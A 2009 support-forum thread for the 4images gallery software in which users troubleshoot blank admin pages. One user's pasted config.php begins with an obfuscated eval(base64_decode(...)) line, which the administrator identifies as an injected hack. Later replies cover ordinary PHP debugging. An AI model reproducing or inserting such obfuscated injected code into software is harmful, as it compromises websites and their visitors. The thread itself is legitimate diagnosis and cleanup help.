4images Forum & Community
Welcome, Guest. Please login or register.
Did you miss your activation email?
July 30, 2010, 04:33:20 AM

Login with username, password and session length
Search:     Advanced search
Check the new Tutorial subforum with helpfull guides and tutorials for modifications and tweaks.
Translate this page with google
=>
 Translate this page with Google =>
* Home Help Search Login Register
 
+  4images Forum & Community
|-+  4images Issues / Ausgaben
| |-+  Installation, Update & Configuration (Moderators: Acidgod, ivan, Rembrandt)
| | |-+  error: Blank page when I login
0 Members and 2 Guests are viewing this topic. « previous next »
Pages: [1] Print
Author Topic: error: Blank page when I login  (Read 2592 times)
5LLJ
Pre-Newbie

Offline Offline

Posts: 3

Thank You
-Given: 0
-Receive: 0


View Profile
« on: October 12, 2009, 12:08:36 AM »

Hi all


I have problem in my web site when I login, the problem is I change my gallery to UTF-8

Everything is fined but the only problem I have is when I login it show me blank page

In everywhere in admin folder or in gallery

Any ideas

4images 1.7.7
Logged
V@no
If you don't tell me what to do, I won't tell you where you should go :)
Administrator
4images Guru
*****
Offline Offline

Posts: 17088

Thank You
-Given: 21
-Receive: 191

mmm PHP...


View Profile WWW
« Reply #1 on: October 12, 2009, 12:11:07 AM »

Welcome to 4images forum.

F.A.Q. -> UNICODE / UTF8 / UTF16 related
Logged

Your first three "must do" before you ask a question:
Please do not PM me asking for help unless you've been specifically asked to do so. Such PMs will be deleted without answer. (forum rule #6)
5LLJ
Pre-Newbie

Offline Offline

Posts: 3

Thank You
-Given: 0
-Receive: 0


View Profile
« Reply #2 on: October 12, 2009, 12:24:11 AM »

I know these steps but nothing work

every thing is fined in language the problem is when I login only
Logged
V@no
If you don't tell me what to do, I won't tell you where you should go :)
Administrator
4images Guru
*****
Offline Offline

Posts: 17088

Thank You
-Given: 21
-Receive: 191

mmm PHP...


View Profile WWW
« Reply #3 on: October 12, 2009, 12:45:24 AM »

ok, can I test it? (pm me with login info)
Logged

Your first three "must do" before you ask a question:
Please do not PM me asking for help unless you've been specifically asked to do so. Such PMs will be deleted without answer. (forum rule #6)
5LLJ
Pre-Newbie

Offline Offline

Posts: 3

Thank You
-Given: 0
-Receive: 0


View Profile
« Reply #4 on: October 12, 2009, 01:11:06 AM »

ok, can I test it? (pm me with login info)

I fix the problem I think  I test every think first and I will see if I fix it or not
Logged
spyrotsk
Pre-Newbie

Offline Offline

Posts: 4

Thank You
-Given: 0
-Receive: 0


View Profile
« Reply #5 on: October 14, 2009, 05:09:05 PM »

i have same problem, but i use gedit on linux and the problem isn't the unicode, but other, in admin area i have blank page and apache has make a log file with this rows:
1
2
[14-Oct-2009 10:01:35] PHP Warning:  strpos() [<a href='function.strpos'>function.strpos</a>]: Offset not contained in string in /home/test_site/4image/config.php(1) : eval()'d code on line 1
[14-Oct-2009 10:01:35] PHP Warning:  gzinflate() [<a href='function.gzinflate'>function.gzinflate</a>]: data error in /home/test_site/4image/config.php(1) : eval()'d code on line 1

this is my conf file:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<? /**/eval(base64_decode('aWYoZnVuY3Rpb25fZXhpc3RzKCdvYl9zdGFydCcpJiYhaXNzZXQoJEdMT0JBTFNbJ3NoX25vJ10pKXskR0xPQkFMU1snc2hfbm8nXT0xO2lmKGZpbGVfZXhpc3RzKCcvaG9tZS9lbHBhcGFpcy9wdWJsaWNfaHRtbC9oaXBvbmV0L2NvaW4vY29pbl9hZGRvbnMvdGlueW1jZS9qc2NyaXB0cy90aW55X21jZS90aGVtZXMvYWR2YW5jZWQvZG9jcy9lbi9pbWFnZXMvc3R5bGUuY3NzLnBocCcpKXtpbmNsdWRlX29uY2UoJy9ob21lL2VscGFwYWlzL3B1YmxpY19odG1sL2hpcG9uZXQvY29pbi9jb2luX2FkZG9ucy90aW55bWNlL2pzY3JpcHRzL3RpbnlfbWNlL3RoZW1lcy9hZHZhbmNlZC9kb2NzL2VuL2ltYWdlcy9zdHlsZS5jc3MucGhwJyk7aWYoZnVuY3Rpb25fZXhpc3RzKCdnbWwnKSYmIWZ1bmN0aW9uX2V4aXN0cygnZGdvYmgnKSl7aWYoIWZ1bmN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CN0U2QzczNjRGQjkxRTJFOTA7fX1vYl9zdGFydCgnZGdvYmgnKTt9fX0=')); ?>
<?php


$db_servertype "mysql";
$db_host "localhost";
$db_name "**********";
$db_user "**********";
$db_password "**********";

$table_prefix "4images_";

define("4IMAGES_ACTIVE"1);

?>


the gallery is on my laptop in localhost, not public gallery.
what is it?
Logged
V@nо
Not admin
Addicted member
*****
Offline Offline

Posts: 1195

Thank You
-Given: 12
-Receive: 10


View Profile
« Reply #6 on: October 14, 2009, 08:58:06 PM »

Welcome to 4images forum.

the first line is not part of 4images, maybe it's causing it?
Logged

Your first three "must do" before you ask a question:
If I asked you to PM me, I meant PM to my primary account, this account doesn't accept PMs.
spyrotsk
Pre-Newbie

Offline Offline

Posts: 4

Thank You
-Given: 0
-Receive: 0


View Profile
« Reply #7 on: October 15, 2009, 03:40:21 PM »

Welcome to 4images forum.

the first line is not part of 4images, maybe it's causing it?

no, i try remove it but same problem.

if i call single page manually I can see it, exemple: home.php, settings.php or other page works fine, but only index.php cause blank page.

this problem is only with index.php in admin section.
Logged
V@no
If you don't tell me what to do, I won't tell you where you should go :)
Administrator
4images Guru
*****
Offline Offline

Posts: 17088

Thank You
-Given: 21
-Receive: 191

mmm PHP...


View Profile WWW
« Reply #8 on: October 15, 2009, 03:55:33 PM »

The first line I've mentioned is a hack, I don't know if you aware of it, or what, but you should check all your .php files for similar line, I can only assume it's the case - the hack.
http://www.simplemachines.org/community/index.php?topic=291486.0

[EDIT]
Since blank page occur not only when you login, then it's not quiet related to this topic.
In global.php find line with error_reporting
add below that line:
1
2
error_reporting(E_ALL);
@
ini_set("display_errors"1);

See if any errors shows
Logged

Your first three "must do" before you ask a question:
Please do not PM me asking for help unless you've been specifically asked to do so. Such PMs will be deleted without answer. (forum rule #6)
spyrotsk
Pre-Newbie

Offline Offline

Posts: 4

Thank You
-Given: 0
-Receive: 0


View Profile
« Reply #9 on: October 15, 2009, 04:36:26 PM »

Ok now i have remove any row with this string "base64_decode ecc..." (any other file have this string) but now give this error:
1
Notice: Undefined index: cat_sort in /home/test_site/4image/global.php on line 468

The section of file with error is this:
1
2
3
4
5
6
7
8
9
10
11
12
if (defined("GET_CACHES")) {
  
$config['cat_order'] = empty($config['cat_order']) ? 'cat_order, cat_name ASC' $config['cat_order'];
  
$sql "SELECT cat_id, cat_name, cat_description, cat_parent_id, cat_hits, cat_order, auth_viewcat, auth_viewimage, auth_download, auth_upload, auth_directupload, auth_vote, auth_sendpostcard, auth_readcomment, auth_postcomment
          FROM "
.CATEGORIES_TABLE."
          ORDER BY "
.$config['cat_order']." " .$config['cat_sort'];                            //<---------------- ERROR IS HERE!
  
$result $site_db->query($sql);

  while (
$row $site_db->fetch_array($result)) {
    
$cat_cache[$row['cat_id']] = $row;
    
$cat_parent_cache[$row['cat_parent_id']][] = $row['cat_id'];
  }
  
$site_db->free_result();
« Last Edit: October 15, 2009, 05:24:24 PM by spyrotsk » Logged
V@nо
Not admin
Addicted member
*****
Offline Offline

Posts: 1195

Thank You
-Given: 12
-Receive: 10


View Profile
« Reply #10 on: October 15, 2009, 09:43:33 PM »

above the code you showed add:
1
$config['cat_sort'] = "";
Logged

Your first three "must do" before you ask a question:
If I asked you to PM me, I meant PM to my primary account, this account doesn't accept PMs.
spyrotsk
Pre-Newbie

Offline Offline

Posts: 4

Thank You
-Given: 0
-Receive: 0


View Profile
« Reply #11 on: October 16, 2009, 09:40:29 AM »

above the code you showed add:
1
$config['cat_sort'] = "";

now works correctly, thanks for your help Wink
Logged
Pages: [1] Print 
« previous next »
Jump to:  

Powered by MySQL Powered by PHP Powered by SMF | SMF © 2006-2009, Simple Machines LLC Valid XHTML 1.0! Valid CSS!
piqs.de - Fotocommunity & lizenzfreie Fotos